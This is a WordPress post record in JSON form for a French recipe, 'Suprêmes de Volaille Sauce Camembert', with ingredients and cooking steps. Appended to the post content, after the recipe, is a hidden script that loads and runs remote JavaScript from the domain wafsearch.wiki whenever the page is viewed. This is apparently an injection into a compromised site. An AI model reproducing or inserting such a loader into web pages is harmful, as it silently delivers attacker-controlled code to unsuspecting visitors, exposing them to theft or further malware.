{"id":80,"date":"2026-04-01T15:56:00","date_gmt":"2026-04-01T13:56:00","guid":{"rendered":"https:\/\/drougard.com\/?p=80"},"modified":"2026-05-30T09:08:14","modified_gmt":"2026-05-30T07:08:14","slug":"le-bistrot-chic-supremes-de-volaille-sauce-camembert","status":"publish","type":"post","link":"https:\/\/drougard.com\/?p=80","title":{"rendered":"Le bistrot chic : Supr\u00eames de Volaille Sauce Camembert"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Une recette plus \u00e9l\u00e9gante pour un vrai d\u00eener \u00e0 table, tr\u00e8s facile \u00e0 r\u00e9aliser.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ingr\u00e9dients :<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>4 blancs de poulet<\/li>\n\n\n\n<li>1\/2 Camembert (bien fait pour plus de go\u00fbt)<\/li>\n\n\n\n<li>20 cl de cr\u00e8me liquide enti\u00e8re<\/li>\n\n\n\n<li>1 belle \u00e9chalote<\/li>\n\n\n\n<li>1 noix de beurre<\/li>\n\n\n\n<li>Poivre noir et un peu de muscade<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pr\u00e9paration :<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Fais fondre le beurre dans une po\u00eale et fais dorer les blancs de poulet des deux c\u00f4t\u00e9s. Assaisonne, retire-les de la po\u00eale et r\u00e9serve.<\/li>\n\n\n\n<li>Dans la m\u00eame po\u00eale, fais suer l&rsquo;\u00e9chalote finement hach\u00e9e.<\/li>\n\n\n\n<li>Baisse le feu, verse la cr\u00e8me liquide et ajoute le demi-camembert coup\u00e9 en petits morceaux (tu peux garder ou enlever la cro\u00fbte selon tes pr\u00e9f\u00e9rences).<\/li>\n\n\n\n<li>Laisse fondre doucement en remuant. Poivre g\u00e9n\u00e9reusement.<\/li>\n\n\n\n<li>Remets les blancs de poulet dans la sauce pour les r\u00e9chauffer et terminer leur cuisson pendant <strong>5 minutes<\/strong>.<\/li>\n\n\n\n<li>Sers ce plat avec des tagliatelles fra\u00eeches ou des pommes de terre grenailles.<\/li>\n<\/ol>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Une recette plus \u00e9l\u00e9gante pour un vrai d\u00eener \u00e0 table, tr\u00e8s facile \u00e0 r\u00e9aliser. Ingr\u00e9dients : Pr\u00e9paration :<\/p>\n","protected":false},"author":1,"featured_media":81,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-80","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-recette-au-camembert"],"_links":{"self":[{"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts\/80","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=80"}],"version-history":[{"count":2,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts\/80\/revisions"}],"predecessor-version":[{"id":109,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/posts\/80\/revisions\/109"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=\/wp\/v2\/media\/81"}],"wp:attachment":[{"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=80"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=80"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/drougard.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=80"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}